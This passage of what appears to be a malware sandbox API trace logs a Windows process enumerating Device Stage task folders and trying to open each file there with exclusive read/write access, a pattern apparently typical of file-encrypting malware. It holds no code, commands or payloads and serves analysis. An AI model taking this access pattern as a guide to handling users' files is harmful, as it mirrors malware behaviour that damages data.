cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0098.746] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0098.746] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.746] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0098.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0098.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0098.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0098.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0098.748] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0098.749] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0098.749] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0098.749] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0098.749] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0098.749] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0098.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0098.750] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x5c [0098.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.750] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x33af398 | out: lpFileInformation=0x33af398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3)) returned 1 [0098.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x5c [0098.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.751] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x60 [0098.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.754] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), fInfoLevelId=0x0, lpFileInformation=0x33afbb8 | out: lpFileInformation=0x33afbb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8)) returned 1 [0098.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x60 [0098.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.754] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x64 [0098.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.756] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), fInfoLevelId=0x0, lpFileInformation=0x33b0400 | out: lpFileInformation=0x33b0400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8)) returned 1 [0098.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x64 [0098.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x61 [0098.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.759] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), fInfoLevelId=0x0, lpFileInformation=0x33b0c70 | out: lpFileInformation=0x33b0c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5)) returned 1 [0098.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x61 [0098.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.759] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.761] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5b [0098.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.761] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), fInfoLevelId=0x0, lpFileInformation=0x33b14b8 | out: lpFileInformation=0x33b14b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75)) returned 1 [0098.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.761] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5b [0098.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.762] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.764] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x63 [0098.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.764] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), fInfoLevelId=0x0, lpFileInformation=0x33b1cc0 | out: lpFileInformation=0x33b1cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654)) returned 1 [0098.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.764] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x63 [0098.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.764] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device 